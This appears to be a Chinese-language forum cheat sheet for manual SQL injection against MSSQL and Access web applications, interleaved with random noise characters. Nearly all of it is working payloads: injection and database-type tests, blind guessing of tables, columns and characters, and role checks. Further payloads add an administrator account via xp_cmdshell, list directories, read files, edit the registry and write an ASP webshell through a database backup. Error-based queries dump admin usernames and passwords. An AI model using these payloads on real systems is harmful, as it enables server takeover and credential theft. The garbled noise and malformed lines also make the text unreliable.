1.判断是否有注入 5 b5 g- Q5 c; R
;and 1=1 - p0 Y5 h: g e* J$ f% x" n P, U% f2 Y
;and 1=2 4 W2 j" d( f+ f- S6 q- V
1 ^0 q6 U$ E+ T( h
2.初步判断是否是mssql " z0 F8 I* j$ Z) {1 ~
;and user>0
+ _/ _5 X3 E% {! i2 @
0 H, e) z0 J8 o$ T! J" e Y3.判断数据库系统 4 i3 j% [5 L" W0 d
;and (select count(*) from sysobjects)>0 mssql
- u/ [3 v: j5 h: j& j+ P2 r* v;and (select count(*) from msysobjects)>0 access ; Y# R0 A0 M" k' e( B7 u$ l
# V) X/ _6 W: j. X8 e2 S' C4.注入参数是字符
) A8 ~8 v' A O. ~# n+ @, R' t'and [查询条件] and ''=' q" ]# k! z: H9 q2 o
* F1 J/ x: a5 H, E5.搜索时没过滤参数的 1 s: Y8 M3 W2 L! O8 |
'and [查询条件] and '%25'=' 0 E# {- H1 M9 m6 W, d u5 v7 O
' v. ~, s L. i& I6 {) R0 l
6.猜数表名
0 G! n( k. f5 S;and (select Count(*) from [表名])>0
2 ]: W) Q! H( \( ?
\* H: I6 G! o+ Y+ I7.猜字段 S" r3 Z& s, c# B
;and (select Count(字段名) from 表名)>0
: y M- p1 l/ }8 l4 W0 o# p% j
2 T+ y) q. T; M* X5 [' A7 I" I& E8.猜字段中记录长度
1 A% H, ]& Q9 i9 k! a;and (select top 1 len(字段名) from 表名)>0
! e+ P# L k+ j# F+ ~
' q: p+ c' O2 q9.(1)猜字段的ascii值(access) F4 h! Q% l- J% d9 w
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
0 |+ m8 T7 m4 d5 a$ A. d- S: `, d4 m6 I" a5 P! T
(2)猜字段的ascii值(mssql) 4 s. g B, g; M4 x; D
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
7 u a$ I, i2 g& Q4 g3 V) K, e. b$ m
10.测试权限结构(mssql)
1 e& ^0 F; \5 q8 a, j;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- - L% y7 V) V2 d: |
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
# k! N4 P' c& M4 o/ Z;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- * z! D& g, q$ h9 o$ S# v: B! ~6 s* r
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 4 x( @; p0 L: p) x$ j
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ' q* U) s" E# L3 J4 c* x3 p- W
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 4 @( a9 p e$ H6 x: L. N3 k
;and 1=(select IS_MEMBER('db_owner'));-- 1 c3 y7 G9 g' n; `6 d3 q
- k5 g4 Z+ v/ \, |* J5 \9 {( D11.添加mssql和系统的帐户 ( j! r- S i; n+ C- {/ H
;exec master.dbo.sp_addlogin username;--
) W( f# S$ T( `1 @;exec master.dbo.sp_password null,username,password;-- 9 p- p7 {1 r; J9 p7 e
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ^3 a- j' y2 w
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- $ \: ?# s* P" z/ P# A
;exec master.dbo.xp_cmdshell 'net user username password /add';--
+ ]5 ~& Z0 w0 ?# M;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
3 s5 q0 [) m+ A% }/ {) u& I( ^; s$ l2 Q& Q7 I+ O$ ^6 M% e- {6 P
12.(1)遍历目录 4 I l3 l& B5 E
;create table dirs(paths varchar(100), id int)
. b& }! ]" C- \. D* ]4 E# s) `) a;insert dirs exec master.dbo.xp_dirtree 'c:\'
; p1 t* e6 Y6 _% Q9 n$ B* p;and (select top 1 paths from dirs)>0 ! @4 l g5 a0 P( Y9 B% q7 H' k
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
& k; Q% ?2 C, s& M8 R1 C2 e7 i2 S; o& j
(2)遍历目录
/ \( w7 x: ]& I- k5 T3 b8 \/ K;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
2 v& ?3 L( }, ];insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 * I/ S; X+ J4 M; \" x
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 / u4 T0 Q9 y4 F' N
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 $ ~- j/ Q. E! z
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 9 V8 p- }6 T8 k8 `, ] N) w
4 W/ r" P0 u h% w4 c
13.mssql中的存储过程 - ~3 x9 I% b' J) J, x7 ]
xp_regenumvalues 注册表根键, 子键
l1 Z5 R7 A+ u% p: I- O$ C;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
$ `9 Q( U9 _/ V3 q' S1 pxp_regread 根键,子键,键值名
- u9 {/ h$ d7 d/ |, A" F;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ! _) j2 V- M9 p2 C# u
xp_regwrite 根键,子键, 值名, 值类型, 值 9 B3 S4 z2 d: o/ _5 l
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
8 a% |0 w( ~- }; @- ^) H. x$ e;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 % K" R& h9 I* A) \( R
xp_regdeletevalue 根键,子键,值名
3 J" P1 g9 q4 G( Aexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
0 _: g3 a% N2 V! Mxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 , b( q) c0 ~+ |$ V
4 B# D' G3 H4 t7 K! p- l
14.mssql的backup创建webshell
; l6 _- p' v/ {8 G7 g6 Puse model
S4 [' c% y) z9 q3 ccreate table cmd(str image);
; m2 ~& H! D0 j& finsert into cmd(str) values ('<% Dim oScript %>'); & r8 ^' R& d8 H7 _# \
backup database model to disk='c:\l.asp';
$ ~' ~9 E. Z) Z. p6 M+ q0 o8 ~/ d$ A5 l, L! j' ?* n! D
15.mssql内置函数
; O" c1 q4 f% T* Q, L;and (select @@version)>0 获得Windows的版本号
& s! Z4 X5 u: f/ a. E3 U;and user_name()='dbo' 判断当前系统的连接用户是不是sa 4 y% K1 i/ Y% L. N m; `; n2 G
;and (select user_name())>0 爆当前系统的连接用户 ) |$ ~0 i' p; y, U# K7 H
;and (select db_name())>0 得到当前连接的数据库
$ H; _' O; Z( x" P0 ] @8 i; V! ^7 }" O2 h. v+ ~
; B6 `$ E1 J3 L( p
7 u2 p8 g7 K: G# C5 i& d
MSSQL手注暴库& R9 O* m' ]. f9 @1 }' w
0 w3 c/ T" Y* i' ~8 {1.暴出当前表名和列名
0 x& }0 ^0 c4 P$ P4 ?在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
7 g# b! z* s* Z2 b% \9 Q
( q2 n1 E8 l' i4 ?3 [2 `' k2 l第一.爆出所有数据库名
( T% s9 s0 [4 Q( k& U利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。6 ?# _. X U+ l2 X) c
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
$ F' b1 J! j2 O* i- y$ {/ z: _# X3 E v! K
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名7 w: x& u* b& O$ i
3 y0 P5 z- z7 G7 L9 K
, V5 G* D9 J/ W% C- }! q9 m第二.爆出指定库中的所有表名5 v; X8 z, ]4 q- p& M, X
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
) A9 l, a9 J0 }# I3 `8 W6 l8 G; C再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
G0 S# H. r' w; L
) h5 u$ K; P: Y* H* h7 T1 W G4 \and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--- P( C& H, h1 \8 J! r: [
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
. X2 m9 h+ }" t# xand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--0 D/ P2 t! R7 E7 Q" h
2 R% z) A" b: C& G4.爆出指定表中的所有列名
0 h' t: Z8 ]5 E+ b5 s Zand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) # }* ~) K( S/ U7 @
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'% t+ Y4 b2 K* e' ]1 Q
$ S6 Q& Z' ?; y$ Band 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名
* R* {) e+ @5 d9 e7 v3 w: \8 R' c+ }; ^' [+ R1 ?/ D
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
1 l: q8 m6 Y) s2 m4 w; ?依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。8 s& Z& _0 Y% w7 n8 A% P
: {( x- c7 q' I+ t
5 ]9 o" N) R+ z H. H# X4 t7 s5 `9 ~7 b
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值' [7 O6 ?/ p/ A' e6 A
) d4 t9 H5 ?( Z" w* C( Z) pand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名7 ~5 m u2 C" c$ ^; l6 x& `
7 ]5 `# D1 Q$ X1 j
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- + h3 r$ G' L' Y7 C9 K: t. V$ B
T) q' A4 J; c3 [+ l( w
- Q# Y9 Q0 R" l S0 Z
2 c6 G3 H9 h6 W9 A# C; j6 [5.读取指定表中的数据* m$ b5 e: Q/ g; M7 Q
7 M9 `& P* E/ f$ S4 O4 O/ \
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 8 P* s- K* a( V. O# v
5 N+ H3 z( C) ~0 z4 x5 Mand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
2 e, t# a0 J1 ^( b
: [9 C$ \# y' X7 |; Z" eand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码- w/ s/ J. N6 Z: G5 W
) I( `# I; H3 R6 Y3 u9 F8 y& v
$ V* @: N: E: L0 b# I; S3 b8 L9 I Iand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao) ?$ h* P; l4 M7 }4 T$ X* W- k e
, U$ V- w E( x' G
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang): H/ m' B/ c& Z5 C, k% m! s
) ^) a: d; o' m7 q
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
; z: y6 Y5 i1 o) U6 j$ n& T2 `
- O2 ^; W) c& f2 T$ e4 a4 c' A- j知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
) B$ ?7 f/ q: ~' y+ D2 j |